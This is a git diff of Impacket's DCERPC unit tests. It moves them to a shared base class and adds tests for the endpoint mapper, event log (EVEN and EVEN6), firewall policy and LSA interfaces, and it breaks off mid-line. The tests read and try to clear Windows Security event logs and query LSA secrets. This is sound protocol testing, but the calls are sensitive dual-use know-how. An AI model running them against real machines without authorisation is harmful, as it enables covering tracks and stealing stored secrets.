('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') +@pytest.mark.remote +class DRSRTestsSMBTransport(DRSRTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class DRSRTestsSMBTransport64(DRSRTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class DRSRTestsTCPTransport(DRSRTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + + +@pytest.mark.remote +class DRSRTestsTCPTransport64(DRSRTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - #suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_epm.py b/tests/dcerpc/test_epm.py new file mode 100644 index 0000000000..24908e8e0f --- /dev/null +++ b/tests/dcerpc/test_epm.py @@ -0,0 +1,124 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)ept_lookup +# (h)ept_map +# +from __future__ import division +from __future__ import print_function +import socket +import pytest +import unittest +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import epm +from impacket.dcerpc.v5.ndr import NULL +from impacket.uuid import string_to_bin, uuidtup_to_bin + + +class EPMTests(DCERPCTests): + iface_uuid = epm.MSRPC_UUID_PORTMAP + string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" + authn = True + + def test_lookup(self): + dce, rpctransport = self.connect() + request = epm.ept_lookup() + request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS + request['object'] = NULL + request['Ifid'] = NULL + request['vers_option'] = epm.RPC_C_VERS_ALL + request['max_ents'] = 499 + + resp = dce.request(request) + for entry in resp['entries']: + tower = entry['tower']['tower_octet_string'] + epm.EPMTower(b''.join(tower)) + + def test_hlookup(self): + epm.hept_lookup(self.machine) + MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) + epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SAMR) + MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) + epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_ATSVC) + MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) + epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SCMR) + + def test_map(self): + dce, rpctransport = self.connect() + tower = epm.EPMTower() + interface = epm.EPMRPCInterface() + interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC') + interface['MajorVersion'] = 1 + interface['MinorVersion'] = 0 + + dataRep = epm.EPMRPCDataRepresentation() + dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860') + dataRep['MajorVersion'] = 2 + dataRep['MinorVersion'] = 0 + + protId = epm.EPMProtocolIdentifier() + protId['ProtIdentifier'] = 0xb + + pipeName = epm.EPMPipeName() + pipeName['PipeName'] = b'\x00' + + portAddr = epm.EPMPortAddr() + portAddr['IpPort'] = 0 + + hostAddr = epm.EPMHostAddr() + hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0') + + hostName = epm.EPMHostName() + hostName['HostName'] = b'\x00' + + tower['NumberOfFloors'] = 5 + tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData() + request = epm.ept_map() + request['max_towers'] = 4 + request['map_tower']['tower_length'] = len(tower) + request['map_tower']['tower_octet_string'] = tower.getData() + resp = dce.request(request) + resp.dump() + + def test_hept_map(self): + MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) + epm.hept_map(self.machine, MSRPC_UUID_SAMR) + epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp') + MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) + epm.hept_map(self.machine, MSRPC_UUID_ATSVC) + MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) + epm.hept_map(self.machine, MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp') + + +@pytest.mark.remote +class EPMTestsSMBTransport(EPMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class EPMTestsSMBTransport64(EPMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class EPMTestsTCPTransport(EPMTests, unittest.TestCase): + string_binding = r"ncacn_ip_tcp:{0.machine}[135]" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class EPMTestsTCPTransport64(EPMTests, unittest.TestCase): + string_binding = r"ncacn_ip_tcp:{0.machine}[135]" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_even.py b/tests/dcerpc/test_even.py new file mode 100755 index 0000000000..ac8fec896a --- /dev/null +++ b/tests/dcerpc/test_even.py @@ -0,0 +1,203 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)ElfrOpenBELW +# (h)ElfrOpenELW +# (h)ElfrRegisterEventSourceW +# (h)ElfrReadELW +# (h)ElfrClearELFW +# (h)ElfrBackupELFW +# ElfrReportEventW +# hElfrNumberOfRecords +# hElfrOldestRecordNumber +# Not yet: +# ElfrCloseEL +# +from __future__ import division +from __future__ import print_function +import pytest +import unittest +from six import assertRaisesRegex + +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import even +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException + + +class RRPTests(DCERPCTests): + + iface_uuid = even.MSRPC_UUID_EVEN + string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]" + authn = True + + def test_ElfrOpenBELW(self): + dce, rpctransport = self.connect() + request = even.ElfrOpenBELW() + request['UNCServerName'] = NULL + request['BackupFileName'] = '\\??\\BETO' + request['MajorVersion'] = 1 + request['MinorVersion'] = 1 + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_NOT_FOUND"): + dce.request(request) + + def test_hElfrOpenBELW(self): + dce, rpctransport = self.connect() + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_NOT_FOUND"): + even.hElfrOpenBELW(dce, '\\??\\BETO') + + def test_ElfrOpenELW(self): + dce, rpctransport = self.connect() + request = even.ElfrOpenELW() + request['UNCServerName'] = NULL + request['ModuleName'] = 'Security' + request['RegModuleName'] = '' + request['MajorVersion'] = 1 + request['MinorVersion'] = 1 + resp = dce.request(request) + resp.dump() + + def test_hElfrOpenELW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + + def test_ElfrRegisterEventSourceW(self): + dce, rpctransport = self.connect() + request = even.ElfrRegisterEventSourceW() + request['UNCServerName'] = NULL + request['ModuleName'] = 'Security' + request['RegModuleName'] = '' + request['MajorVersion'] = 1 + request['MinorVersion'] = 1 + + with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"): + dce.request(request) + + def test_hElfrRegisterEventSourceW(self): + dce, rpctransport = self.connect() + + with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"): + even.hElfrRegisterEventSourceW(dce, 'Security', '') + + def test_ElfrReadELW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + request = even.ElfrReadELW() + request['LogHandle'] = resp['LogHandle'] + request['ReadFlags'] = even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ + request['RecordOffset'] = 0 + request['NumberOfBytesToRead'] = even.MAX_BATCH_BUFF + resp = dce.request(request) + resp.dump() + + def test_hElfrReadELW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + resp = even.hElfrReadELW(dce, resp['LogHandle'], + even.EVENTLOG_SEQUENTIAL_READ | even.EVENTLOG_FORWARDS_READ, + 0, even.MAX_BATCH_BUFF) + resp.dump() + + def test_ElfrClearELFW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + request = even.ElfrClearELFW() + request['LogHandle'] = resp['LogHandle'] + request['BackupFileName'] = '\\??\\c:\\beto2' + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"): + dce.request(request) + + def test_hElfrClearELFW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"): + even.hElfrClearELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2') + + def test_ElfrBackupELFW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + request = even.ElfrBackupELFW() + request['LogHandle'] = resp['LogHandle'] + request['BackupFileName'] = '\\??\\c:\\beto2' + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"): + dce.request(request) + + def test_hElfrBackupELFW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + + with assertRaisesRegex(self, DCERPCException, "STATUS_OBJECT_NAME_INVALID"): + even.hElfrBackupELFW(dce, resp['LogHandle'], '\\??\\c:\\beto2') + + def test_ElfrReportEventW(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + request = even.ElfrReportEventW() + request['LogHandle'] = resp['LogHandle'] + request['Time'] = 5000000 + request['EventType'] = even.EVENTLOG_ERROR_TYPE + request['EventCategory'] = 0 + request['EventID'] = 7037 + request['ComputerName'] = 'MYCOMPUTER!' + request['NumStrings'] = 1 + request['DataSize'] = 0 + request['UserSID'].fromCanonical('S-1-2-5-21') + nn = even.PRPC_UNICODE_STRING() + nn['Data'] = 'HOLA BETUSSS' + request['Strings'].append(nn) + request['Data'] = NULL + request['Flags'] = 0 + request['RecordNumber'] = NULL + request['TimeWritten'] = NULL + + with assertRaisesRegex(self, DCERPCException, "STATUS_ACCESS_DENIED"): + dce.request(request) + + def test_hElfrNumberOfRecords(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + resp = even.hElfrNumberOfRecords(dce, resp['LogHandle']) + resp.dump() + + def test_hElfrOldestRecordNumber(self): + dce, rpctransport = self.connect() + resp = even.hElfrOpenELW(dce, 'Security', '') + resp.dump() + resp = even.hElfrOldestRecordNumber(dce, resp['LogHandle']) + resp.dump() + + +@pytest.mark.remote +class RRPTestsSMBTransport(RRPTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class RRPTestsSMBTransport64(RRPTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_even6.py b/tests/dcerpc/test_even6.py new file mode 100644 index 0000000000..3c61d61049 --- /dev/null +++ b/tests/dcerpc/test_even6.py @@ -0,0 +1,96 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)EvtRpcRegisterLogQuery +# (h)EvtRpcQueryNext +# Not yet +# EvtRpcQuerySeek +# EvtRpcClose +# EvtRpcOpenLogHandle +# EvtRpcGetChannelList +# +from __future__ import division +from __future__ import print_function +import pytest +import unittest +from six.moves import xrange + +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import even6 +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +class EVEN6Tests(DCERPCTests): + iface_uuid = even6.MSRPC_UUID_EVEN6 + protocol = "ncacn_ip_tcp" + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + string_binding = r"ncacn_np:{0.machine}[\PIPE\eventlog]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + def test_EvtRpcRegisterLogQuery_EvtRpcQueryNext(self): + dce, rpctransport = self.connect() + + request = even6.EvtRpcRegisterLogQuery() + request['Path'] = 'Security\x00' + request['Query'] = '*\x00' + request['Flags'] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest + request.dump() + + resp = dce.request(request) + resp.dump() + log_handle = resp['Handle'] + + request = even6.EvtRpcQueryNext() + request['LogQuery'] = log_handle + request['NumRequestedRecords'] = 5 + request['TimeOutEnd'] = 1000 + request['Flags'] = 0 + request.dump() + + resp = dce.request(request) + resp.dump() + + for i in xrange(resp['NumActualRecords']): + event_offset = resp['EventDataIndices'][i]['Data'] + event_size = resp['EventDataSizes'][i]['Data'] + event = resp['ResultBuffer'][event_offset:event_offset + event_size] + + def test_hEvtRpcRegisterLogQuery_hEvtRpcQueryNext(self): + dce, rpctransport = self.connect() + + resp = even6.hEvtRpcRegisterLogQuery(dce, 'Security\x00', + even6.EvtQueryChannelName | even6.EvtReadNewestToOldest, + '*\x00') + resp.dump() + log_handle = resp['Handle'] + + resp = even6.hEvtRpcQueryNext(dce, log_handle, 5, 1000) + resp.dump() + + for i in xrange(resp['NumActualRecords']): + event_offset = resp['EventDataIndices'][i]['Data'] + event_size = resp['EventDataSizes'][i]['Data'] + event = resp['ResultBuffer'][event_offset:event_offset + event_size] + + +@pytest.mark.remote +class EVEN6TestsTCPTransport(EVEN6Tests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class EVEN6TestsTCPTransport64(EVEN6Tests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_fasp.py b/tests/dcerpc/test_fasp.py new file mode 100755 index 0000000000..3ddf20bf49 --- /dev/null +++ b/tests/dcerpc/test_fasp.py @@ -0,0 +1,76 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# FWOpenPolicyStore +# +# Not yet: +# +import unittest +import pytest +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +# XXX: This is just to pass tests until we figure out what happened with the +# fasp module +fasp = None + + +@pytest.mark.skip(reason="fasp module unavailable") +class FASPTests(DCERPCTests): + #iface_uuid = fasp.MSRPC_UUID_FASP + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + def test_FWOpenPolicyStore(self): + dce, rpc_transport = self.connect() + request = fasp.FWOpenPolicyStore() + request['BinaryVersion'] = 0x0200 + request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL + request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ + request['dwFlags'] = 0 + resp = dce.request(request) + resp.dump() + + def test_hFWOpenPolicyStore(self): + dce, rpc_transport = self.connect() + resp = fasp.hFWOpenPolicyStore(dce) + resp.dump() + + def test_FWClosePolicyStore(self): + dce, rpc_transport = self.connect() + resp = fasp.hFWOpenPolicyStore(dce) + request = fasp.FWClosePolicyStore() + request['phPolicyStore'] = resp['phPolicyStore'] + resp = dce.request(request) + resp.dump() + + def test_hFWClosePolicyStore(self): + dce, rpc_transport = self.connect() + resp = fasp.hFWOpenPolicyStore(dce) + resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) + resp.dump() + + +@pytest.mark.remote +class FASPTestsTCPTransport(FASPTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class FASPTestsTCPTransport64(FASPTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_lsad.py b/tests/dcerpc/test_lsad.py similarity index 81% rename from tests/SMB_RPC/test_lsad.py rename to tests/dcerpc/test_lsad.py index 11b6ba5e4e..14a2d43166 100644 --- a/tests/SMB_RPC/test_lsad.py +++ b/tests/dcerpc/test_lsad.py @@ -1,80 +1,89 @@ -############################################################################### -# Tested so far: -# LsarOpenPolicy2 -# LsarOpenPolicy -# LsarQueryInformationPolicy2 -# LsarQueryInformationPolicy -# LsarQueryDomainInformationPolicy -# LsarEnumerateAccounts -# LsarEnumerateAccountsWithUserRight -# LsarEnumerateTrustedDomainsEx -# LsarEnumerateTrustedDomains -# LsarOpenAccount -# LsarClose -# LsarCreateAccount -# LsarDeleteObject -# LsarEnumeratePrivilegesAccount -# LsarGetSystemAccessAccount -# LsarSetSystemAccessAccount -# LsarAddPrivilegesToAccount -# LsarRemovePrivilegesFromAccount -# LsarEnumerateAccountRights -# LsarAddAccountRights -# LsarRemoveAccountRights -# LsarCreateSecret -# LsarOpenSecret -# LsarSetSecret -# LsarQuerySecret -# LsarRetrievePrivateData -# LsarStorePrivateData -# LsarEnumeratePrivileges -# LsarLookupPrivilegeValue -# LsarLookupPrivilegeName -# LsarLookupPrivilegeDisplayName -# LsarQuerySecurityObject -# LsarSetSecurityObject -# LsarQueryForestTrustInformation -# LsarSetInformationPolicy -# LsarSetInformationPolicy2 +# Impacket - Collection of Python classes for working with network protocols. # -# Not yet: +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Shouldn't dump errors against a win7 +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# hLsarOpenPolicy2 +# (h)LsarOpenPolicy +# (h)LsarQueryInformationPolicy2 +# (h)LsarQueryInformationPolicy +# (h)LsarQueryDomainInformationPolicy +# (h)LsarEnumerateAccounts +# (h)LsarEnumerateAccountsWithUserRight +# (h)LsarEnumerateTrustedDomainsEx +# (h)LsarEnumerateTrustedDomains +# (h)LsarOpenAccount +# (h)LsarClose +# (h)LsarCreateAccount +# (h)LsarCreateAccount +# (h)LsarDeleteObject +# (h)LsarEnumeratePrivilegesAccount +# (h)LsarGetSystemAccessAccount +# (h)LsarSetSystemAccessAccount +# (h)LsarAddPrivilegesToAccount +# (h)LsarRemovePrivilegesFromAccount +# (h)LsarEnumerateAccountRights +# (h)LsarAddAccountRights +# (h)LsarRemoveAccountRights +# (h)LsarCreateSecret +# (h)LsarOpenSecret +# (h)LsarSetSecret +# (h)LsarQuerySecret +# (h)LsarRetrievePrivateData +# (h)LsarStorePrivateData +# (h)LsarEnumeratePrivileges +# (h)LsarLookupPrivilegeValue +# (h)LsarLookupPrivilegeName +# (h)LsarLookupPrivilegeDisplayName +# (h)LsarQuerySecurityObject +# (h)LsarSetSecurityObject +# (h)LsarQueryForestTrustInformation +# (h)LsarSetInformationPolicy +# (h)LsarSetInformationPolicy2 +# Not yet +# LsarCreateTrustedDomain +# LsarOpenTrustedDomain +# LsarQueryInfoTrustedDomain +# LsarSetInformationTrustedDomain +# LsarQueryTrustedDomainInfo +# LsarSetTrustedDomainInfo +# LsarDeleteTrustedDomain +# LsarQueryTrustedDomainInfoByName +# LsarSetTrustedDomainInfoByName +# LsarCreateTrustedDomainEx +# LsarSetDomainInformationPolicy +# LsarOpenTrustedDomainByName +# LsarCreateTrustedDomainEx2 +# LsarSetForestTrustInformation # -################################################################################ from __future__ import division from __future__ import print_function +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser -from impacket.dcerpc.v5 import transport, lsad +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import lsad from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED, RPC_UNICODE_STRING, DELETE from impacket.structure import hexdump -class LSADTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(lsad.MSRPC_UUID_LSAD, transfer_syntax = self.ts) - resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION) - return dce, rpctransport, resp['PolicyHandle'] +class LSADTests(DCERPCTests): + iface_uuid = lsad.MSRPC_UUID_LSAD + string_binding = r"ncacn_np:{0.machine}[\PIPE\lsarpc]" + authn = True + + def open_policy(self, dce): + resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION) + return resp['PolicyHandle'] def test_LsarOpenPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() request = lsad.LsarOpenPolicy() request['SystemName'] = NULL request['ObjectAttributes']['RootDirectory'] = NULL @@ -86,12 +95,13 @@ def test_LsarOpenPolicy(self): resp.dump() def test_hLsarOpenPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() resp = lsad.hLsarOpenPolicy(dce) resp.dump() def test_LsarQueryInformationPolicy2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy2() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation @@ -135,7 +145,8 @@ def test_LsarQueryInformationPolicy2(self): resp.dump() def test_hLsarQueryInformationPolicy2(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation) resp.dump() @@ -167,7 +178,8 @@ def test_hLsarQueryInformationPolicy2(self): resp.dump() def test_LsarQueryInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation @@ -211,7 +223,8 @@ def test_LsarQueryInformationPolicy(self): resp.dump() def test_hLsarQueryInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation) resp.dump() @@ -243,7 +256,8 @@ def test_hLsarQueryInformationPolicy(self): resp.dump() def test_LsarQueryDomainInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryDomainInformationPolicy() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation @@ -271,7 +285,8 @@ def test_LsarQueryDomainInformationPolicy(self): raise def test_hLsarQueryDomainInformationPolicy(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) try: resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation) resp.dump() @@ -294,7 +309,8 @@ def test_hLsarQueryDomainInformationPolicy(self): raise def test_LsarEnumerateAccounts(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumerateAccounts() request['PolicyHandle'] = policyHandle request['PreferedMaximumLength'] = 0xffffffff @@ -304,14 +320,16 @@ def test_LsarEnumerateAccounts(self): # print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical() def test_hLsarEnumerateAccounts(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarEnumerateAccounts(dce, policyHandle) resp.dump() #for i in range(resp['EnumerationBuffer']['EntriesRead']): # print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical() def test_LsarEnumerateAccountsWithUserRight(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumerateAccountsWithUserRight() request['PolicyHandle'] = policyHandle request['UserRight'] = 'SeSystemtimePrivilege' @@ -319,12 +337,14 @@ def test_LsarEnumerateAccountsWithUserRight(self): resp.dump() def test_hLsarEnumerateAccountsWithUserRight(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarEnumerateAccountsWithUserRight(dce,policyHandle, 'SeSystemtimePrivilege') resp.dump() def test_LsarEnumerateTrustedDomainsEx(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumerateTrustedDomainsEx() request['PolicyHandle'] = policyHandle request['EnumerationContext'] = 0 @@ -337,7 +357,8 @@ def test_LsarEnumerateTrustedDomainsEx(self): raise def test_hLsarEnumerateTrustedDomainsEx(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) try: resp = lsad.hLsarEnumerateTrustedDomainsEx(dce, policyHandle) resp.dump() @@ -346,7 +367,8 @@ def test_hLsarEnumerateTrustedDomainsEx(self): raise def test_LsarEnumerateTrustedDomains(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumerateTrustedDomains() request['PolicyHandle'] = policyHandle request['EnumerationContext'] = 0 @@ -359,7 +381,8 @@ def test_LsarEnumerateTrustedDomains(self): raise def test_hLsarEnumerateTrustedDomains(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) try: resp = lsad.hLsarEnumerateTrustedDomains(dce, policyHandle) resp.dump() @@ -368,7 +391,8 @@ def test_hLsarEnumerateTrustedDomains(self): raise def test_hLsarOpenAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarEnumerateAccounts(dce, policyHandle) resp.dump() @@ -379,7 +403,8 @@ def test_hLsarOpenAccount(self): resp.dump() def test_LsarOpenAccount(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarEnumerateAccounts() request['PolicyHandle'] = policyHandle request['PreferedMaximumLength'] = 0xffffffff @@ -399,7 +424,8 @@ def test_LsarOpenAccount(self): resp.dump() def test_LsarCreateAccount_LsarDeleteObject(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) request = lsad.LsarQueryInformationPolicy2() request['PolicyHandle'] = policyHandle request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation @@ -421,7 +447,8 @@ def test_LsarCreateAccount_LsarDeleteObject(self): resp.dump() def test_hLsarCreateAccount_hLsarDeleteObject(self): - dce, rpctransport, policyHandle = self.connect() + dce, rpctransport = self.connect() + policyHandle = self.open_policy(dce) resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) sid = 